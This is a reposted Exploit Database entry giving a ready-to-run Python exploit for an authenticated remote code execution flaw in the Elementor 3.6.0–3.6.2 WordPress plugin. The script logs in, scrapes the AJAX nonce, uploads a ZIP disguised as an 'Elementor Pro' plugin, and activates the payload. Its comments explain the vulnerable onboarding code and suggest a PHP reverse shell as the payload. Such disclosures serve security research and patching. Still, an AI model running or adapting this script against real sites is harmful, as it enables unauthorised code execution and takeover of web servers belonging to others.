WordPress Plugin Elementor 3.6.2 – Remote Code Execution (RCE) (Authenticated)

Exploit Database
127 阅读

作者： AkuCyberSec

日期： 2022-04-19
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/50882/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

# Exploit Title: WordPress Plugin Elementor 3.6.2 - Remote Code Execution (RCE) (Authenticated)

# Date: 04/16/2022

# Exploit Author: AkuCyberSec (https://github.com/AkuCyberSec)

# Vendor Homepage: https://elementor.com/

# Software Link: https://wordpress.org/plugins/elementor/advanced/ (scroll down to select the version)

# Version: 3.6.0, 3.6.1, 3.62

# Tested on: WordPress 5.9.3 (os-independent since this exploit does NOT provide the payload)

#!/usr/bin/python

import requests

import re

# WARNING: This exploit does NOT include the payload.

# Also, be sure you already have some valid credentials. This exploit needs an account in order to work.

# # # # # VULNERABILITY DESCRIPTION # # # # #

# The WordPress plugin called Elementor (v. 3.6.0, 3.6.1, 3.6.2) has a vulnerability that allows any authenticated user to upload and execute any PHP file.

# This vulnerability, in the OWASP TOP 10 2021, is placed in position #1 (Broken Access Control)

# The file that contains this vulnerability is elementor/core/app/modules/onboarding/module.php

# At the end of this file you can find this code:

# add_action( 'admin_init', function() {

# if ( wp_doing_ajax() &&

# isset( $_POST['action'] ) &&

# isset( $_POST['_nonce'] ) &&

# wp_verify_nonce( $_POST['_nonce'], Ajax::NONCE_KEY )

# ) {

# $this->maybe_handle_ajax();

# }

# } );

# This code is triggered whenever ANY user account visits /wp-admin

# In order to work we need the following 4 things:

# 1. The call must be an "ajax call" (wp_doing_ajax()) and the method must be POST. In order to do this, we only need to call /wp-admin/admin-ajax.php

# 2. The parameter "action" must be "elementor_upload_and_install_pro" (check out the function named maybe_handle_ajax() in the same file)

# 3. The parameter "_nonce" must be retrieved after login by inspecting the /wp-admin page (this exploit does this in DoLogin function)

# 4. The parameter "fileToUpload" must contain the ZIP archive we want to upload (check out the function named upload_and_install_pro() in the same file)

# The file we upload must have the following structure:

# 1. It must be a ZIP file. You can name it as you want.

# 2. It must contain a folder called "elementor-pro"

# 3. This folder must contain a file named "elementor-pro.php"# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else)

# 4. The payload must contain AT LEAST the plugin name, otherwise WordPress will NOT accept it and the upload will FAIL

# e.g.

# <?php

# /**

# * Plugin Name: Elementor Pro

# */

# // Actual PHP payload

# ?>

# This file will be YOUR payload (e.g. PHP Reverse Shell or anything else)

# WARNING: The fake plugin we upload will be activated by Elementor, this means that each time we visit any page we trigger our payload.

# If it tries, for example, to connect to an offline host, it could lead to a Denial of Service.

# In order to prevent this, I suggest you to use some variable to activate the payload.

# Something like this (visit anypage.php?activate=1 in order to continue with the actual payload):

# if (!isset($_GET['activate']))

# return;

# Change the following 4 variables:

payloadFileName = 'elementor-pro.zip' # Change this with the path of the ZIP archive that contains your payload

baseUrl = 'http://192.168.56.103/wordpress/' # Change this with the base url of the target

username = 'guest' # Change this with the username you want to use to log in

password = 'test' # Change this with the password you want to use to log in

# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #

session = requests.Session()

cookies = { 'wordpress_test_cookie' : 'WP+Cookie+check' } # WordPress needs this to tell if browser can manage cookies

def DoLogin(username, password):

global cookies

loginUrl = baseUrl + 'wp-login.php'

adminUrl = baseUrl + 'wp-admin/'

data = { 'log' : username, 'pwd' : password, 'wp-submit' : 'Login', 'redirect_to' : adminUrl, 'testcookie' : 1 }

# search for: "ajax":{"url":"http:\/\/baseUrl\/wp-admin\/admin-ajax.php","nonce":"4e8878bdba"}

# 4e8878bdba is just an example of nonce. It can be anything else.

regexp = re.compile('"ajax":\\{"url":".+admin\\-ajax\\.php","nonce":"(.+)"\\}')

response = session.post(loginUrl, cookies=cookies, data=data)

search = regexp.search(response.text)

if not search:

# I've tested this on WordPress v. 5.9.3

# Fix the regexp if needed.

print('Error - Invalid credentials?')

#print(response.text)

else:

return search.group(1)

def UploadFile(fileName, nonce):

uploadUrl = baseUrl + 'wp-admin/admin-ajax.php'

data = { 'action' : 'elementor_upload_and_install_pro', '_nonce' : nonce }

files = { 'fileToUpload' : open(fileName, 'rb') }

regexp = re.compile('"elementorProInstalled":true') # search for: "elementorProInstalled":true

response = session.post(uploadUrl, data=data, files=files)

search = regexp.search(response.text)

if not search:

# If Elemento Pro is already installed, the upload will fail.

# You can print the response to investigate further

print ('Error - Upload failed')

# print (response.text)

return False

else:

print ('Upload completed successfully!')

return True

# Define YOUR method to activate your payload (if needed)

def ActivatePayload():

payloadUrl = baseUrl + 'index.php?activate=1'

session.get(payloadUrl)

print('Trying to login...')

nonce = DoLogin(username, password)

print('Nonce found: ' + nonce)

print('Uploading payload...')

fileUploaded = UploadFile(payloadFileName, nonce)

# Define YOUR method to activate your payload (if needed)

if fileUploaded:

print ('Activating payload...')

ActivatePayload()